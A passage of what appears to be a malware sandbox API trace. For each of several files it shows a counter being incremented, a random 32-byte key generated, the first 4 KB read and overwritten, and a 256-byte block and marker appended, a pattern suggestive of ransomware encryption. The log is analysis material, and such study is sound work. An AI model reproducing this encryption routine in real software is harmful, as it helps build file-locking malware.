RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0082.664] GetProcessHeap () returned 0x540000 [0082.664] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.664] GetProcessHeap () returned 0x540000 [0082.664] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0082.664] GetProcessHeap () returned 0x540000 [0082.664] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0082.664] GetProcessHeap () returned 0x540000 [0082.664] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.664] GetProcessHeap () returned 0x540000 [0082.664] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0082.664] SetFilePointerEx (in: hFile=0x834, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.664] WriteFile (in: hFile=0x834, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0082.665] WriteFile (in: hFile=0x834, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0082.665] GetProcessHeap () returned 0x540000 [0082.665] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0082.665] GetProcessHeap () returned 0x540000 [0082.665] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0082.665] GetProcessHeap () returned 0x540000 [0082.665] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0082.665] CloseHandle (hObject=0x834) returned 1 [0082.666] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 47 [0082.666] SetFilePointerEx (in: hFile=0x838, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.666] ReadFile (in: hFile=0x838, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0082.666] SetFilePointerEx (in: hFile=0x838, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.666] GetProcessHeap () returned 0x540000 [0082.666] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0082.666] GetProcessHeap () returned 0x540000 [0082.666] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0082.666] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0082.667] GetProcessHeap () returned 0x540000 [0082.667] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0082.667] ReadFile (in: hFile=0x838, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0082.918] SetFilePointerEx (in: hFile=0x838, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.918] WriteFile (in: hFile=0x838, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0082.918] GetProcessHeap () returned 0x540000 [0082.918] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0082.919] GetProcessHeap () returned 0x540000 [0082.919] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.919] GetProcessHeap () returned 0x540000 [0082.919] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0082.919] GetProcessHeap () returned 0x540000 [0082.919] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.919] GetProcessHeap () returned 0x540000 [0082.919] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0082.919] GetProcessHeap () returned 0x540000 [0082.919] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.919] GetProcessHeap () returned 0x540000 [0082.919] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.919] GetProcessHeap () returned 0x540000 [0082.919] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.919] GetProcessHeap () returned 0x540000 [0082.919] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.919] GetProcessHeap () returned 0x540000 [0082.919] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.919] GetProcessHeap () returned 0x540000 [0082.919] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.919] GetProcessHeap () returned 0x540000 [0082.919] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.919] GetProcessHeap () returned 0x540000 [0082.919] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.919] GetProcessHeap () returned 0x540000 [0082.919] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.919] GetProcessHeap () returned 0x540000 [0082.919] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.919] GetProcessHeap () returned 0x540000 [0082.919] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.919] GetProcessHeap () returned 0x540000 [0082.919] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.919] GetProcessHeap () returned 0x540000 [0082.919] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.920] GetProcessHeap () returned 0x540000 [0082.920] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.920] GetProcessHeap () returned 0x540000 [0082.920] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.920] GetProcessHeap () returned 0x540000 [0082.920] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.920] GetProcessHeap () returned 0x540000 [0082.920] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.920] GetProcessHeap () returned 0x540000 [0082.920] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.920] GetProcessHeap () returned 0x540000 [0082.920] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.920] GetProcessHeap () returned 0x540000 [0082.920] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.920] GetProcessHeap () returned 0x540000 [0082.920] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.920] GetProcessHeap () returned 0x540000 [0082.920] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.920] GetProcessHeap () returned 0x540000 [0082.920] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.920] GetProcessHeap () returned 0x540000 [0082.920] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.920] GetProcessHeap () returned 0x540000 [0082.920] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.920] GetProcessHeap () returned 0x540000 [0082.920] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.920] GetProcessHeap () returned 0x540000 [0082.920] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.920] GetProcessHeap () returned 0x540000 [0082.920] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.920] GetProcessHeap () returned 0x540000 [0082.920] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.920] GetProcessHeap () returned 0x540000 [0082.920] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.920] GetProcessHeap () returned 0x540000 [0082.920] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.920] GetProcessHeap () returned 0x540000 [0082.920] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.920] GetProcessHeap () returned 0x540000 [0082.920] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.921] GetProcessHeap () returned 0x540000 [0082.921] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0082.921] GetProcessHeap () returned 0x540000 [0082.921] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.921] GetProcessHeap () returned 0x540000 [0082.921] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0082.921] GetProcessHeap () returned 0x540000 [0082.921] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0082.921] GetProcessHeap () returned 0x540000 [0082.921] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0082.921] GetProcessHeap () returned 0x540000 [0082.921] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0082.921] GetProcessHeap () returned 0x540000 [0082.921] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0082.921] GetProcessHeap () returned 0x540000 [0082.921] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0082.921] GetProcessHeap () returned 0x540000 [0082.921] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1f8) returned 0x573730 [0082.921] GetProcessHeap () returned 0x540000 [0082.921] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0082.921] GetProcessHeap () returned 0x540000 [0082.921] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.921] GetProcessHeap () returned 0x540000 [0082.921] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x573730 | out: hHeap=0x540000) returned 1 [0082.921] GetProcessHeap () returned 0x540000 [0082.921] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.921] GetProcessHeap () returned 0x540000 [0082.921] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.921] GetProcessHeap () returned 0x540000 [0082.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.922] GetProcessHeap () returned 0x540000 [0082.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.922] GetProcessHeap () returned 0x540000 [0082.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.922] GetProcessHeap () returned 0x540000 [0082.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.922] GetProcessHeap () returned 0x540000 [0082.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.922] GetProcessHeap () returned 0x540000 [0082.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.922] GetProcessHeap () returned 0x540000 [0082.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.922] GetProcessHeap () returned 0x540000 [0082.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.922] GetProcessHeap () returned 0x540000 [0082.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.922] GetProcessHeap () returned 0x540000 [0082.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.922] GetProcessHeap () returned 0x540000 [0082.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.922] GetProcessHeap () returned 0x540000 [0082.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.922] GetProcessHeap () returned 0x540000 [0082.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.922] GetProcessHeap () returned 0x540000 [0082.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.922] GetProcessHeap () returned 0x540000 [0082.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.923] GetProcessHeap () returned 0x540000 [0082.923] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.923] GetProcessHeap () returned 0x540000 [0082.923] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.923] GetProcessHeap () returned 0x540000 [0082.923] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.923] GetProcessHeap () returned 0x540000 [0082.923] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.923] GetProcessHeap () returned 0x540000 [0082.923] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.923] GetProcessHeap () returned 0x540000 [0082.923] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3340258 [0082.923] GetProcessHeap () returned 0x540000 [0082.923] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.923] GetProcessHeap () returned 0x540000 [0082.923] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0082.923] GetProcessHeap () returned 0x540000 [0082.923] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0082.923] GetProcessHeap () returned 0x540000 [0082.923] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.923] GetProcessHeap () returned 0x540000 [0082.923] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0082.923] SetFilePointerEx (in: hFile=0x838, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.923] WriteFile (in: hFile=0x838, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0082.923] WriteFile (in: hFile=0x838, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0082.924] GetProcessHeap () returned 0x540000 [0082.924] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0082.924] GetProcessHeap () returned 0x540000 [0082.924] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0082.924] GetProcessHeap () returned 0x540000 [0082.924] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0082.924] CloseHandle (hObject=0x838) returned 1 [0082.928] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 48 [0082.928] SetFilePointerEx (in: hFile=0x83c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.928] ReadFile (in: hFile=0x83c, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0082.928] SetFilePointerEx (in: hFile=0x83c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.928] GetProcessHeap () returned 0x540000 [0082.928] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0082.928] GetProcessHeap () returned 0x540000 [0082.928] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0082.928] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0082.928] GetProcessHeap () returned 0x540000 [0082.928] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0082.928] ReadFile (in: hFile=0x83c, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0082.976] SetFilePointerEx (in: hFile=0x83c, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.976] WriteFile (in: hFile=0x83c, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0082.977] GetProcessHeap () returned 0x540000 [0082.977] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0082.977] GetProcessHeap () returned 0x540000 [0082.977] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.977] GetProcessHeap () returned 0x540000 [0082.977] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0082.977] GetProcessHeap () returned 0x540000 [0082.977] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.977] GetProcessHeap () returned 0x540000 [0082.977] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0082.977] GetProcessHeap () returned 0x540000 [0082.977] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.977] GetProcessHeap () returned 0x540000 [0082.977] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.977] GetProcessHeap () returned 0x540000 [0082.977] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.977] GetProcessHeap () returned 0x540000 [0082.977] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.977] GetProcessHeap () returned 0x540000 [0082.977] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.977] GetProcessHeap () returned 0x540000 [0082.977] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.977] GetProcessHeap () returned 0x540000 [0082.977] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.977] GetProcessHeap () returned 0x540000 [0082.977] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.977] GetProcessHeap () returned 0x540000 [0082.977] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.977] GetProcessHeap () returned 0x540000 [0082.977] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.977] GetProcessHeap () returned 0x540000 [0082.977] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.978] GetProcessHeap () returned 0x540000 [0082.978] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.978] GetProcessHeap () returned 0x540000 [0082.978] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.978] GetProcessHeap () returned 0x540000 [0082.978] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.978] GetProcessHeap () returned 0x540000 [0082.978] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.978] GetProcessHeap () returned 0x540000 [0082.978] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.978] GetProcessHeap () returned 0x540000 [0082.978] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.978] GetProcessHeap () returned 0x540000 [0082.978] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.978] GetProcessHeap () returned 0x540000 [0082.978] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.978] GetProcessHeap () returned 0x540000 [0082.978] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.978] GetProcessHeap () returned 0x540000 [0082.978] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.978] GetProcessHeap () returned 0x540000 [0082.978] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.978] GetProcessHeap () returned 0x540000 [0082.978] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.978] GetProcessHeap () returned 0x540000 [0082.978] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.978] GetProcessHeap () returned 0x540000 [0082.978] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.978] GetProcessHeap () returned 0x540000 [0082.978] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.978] GetProcessHeap () returned 0x540000 [0082.978] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.978] GetProcessHeap () returned 0x540000 [0082.978] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.978] GetProcessHeap () returned 0x540000 [0082.978] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.978] GetProcessHeap () returned 0x540000 [0082.978] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.979] GetProcessHeap () returned 0x540000 [0082.979] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.979] GetProcessHeap () returned 0x540000 [0082.979] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.979] GetProcessHeap () returned 0x540000 [0082.979] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.979] GetProcessHeap () returned 0x540000 [0082.979] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0082.979] GetProcessHeap () returned 0x540000 [0082.979] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.979] GetProcessHeap () returned 0x540000 [0082.979] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0082.979] GetProcessHeap () returned 0x540000 [0082.979] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0082.979] GetProcessHeap () returned 0x540000 [0082.979] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0082.979] GetProcessHeap () returned 0x540000 [0082.979] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0082.979] GetProcessHeap () returned 0x540000 [0082.979] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0082.979] GetProcessHeap () returned 0x540000 [0082.979] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0082.979] GetProcessHeap () returned 0x540000 [0082.979] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1f8) returned 0x573730 [0082.979] GetProcessHeap () returned 0x540000 [0082.979] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0082.979] GetProcessHeap () returned 0x540000 [0082.979] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.979] GetProcessHeap () returned 0x540000 [0082.979] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x573730 | out: hHeap=0x540000) returned 1 [0082.979] GetProcessHeap () returned 0x540000 [0082.979] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.979] GetProcessHeap () returned 0x540000 [0082.979] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.980] GetProcessHeap () returned 0x540000 [0082.980] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.980] GetProcessHeap () returned 0x540000 [0082.980] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.980] GetProcessHeap () returned 0x540000 [0082.980] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.980] GetProcessHeap () returned 0x540000 [0082.980] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.980] GetProcessHeap () returned 0x540000 [0082.980] RtlAllocateHeap 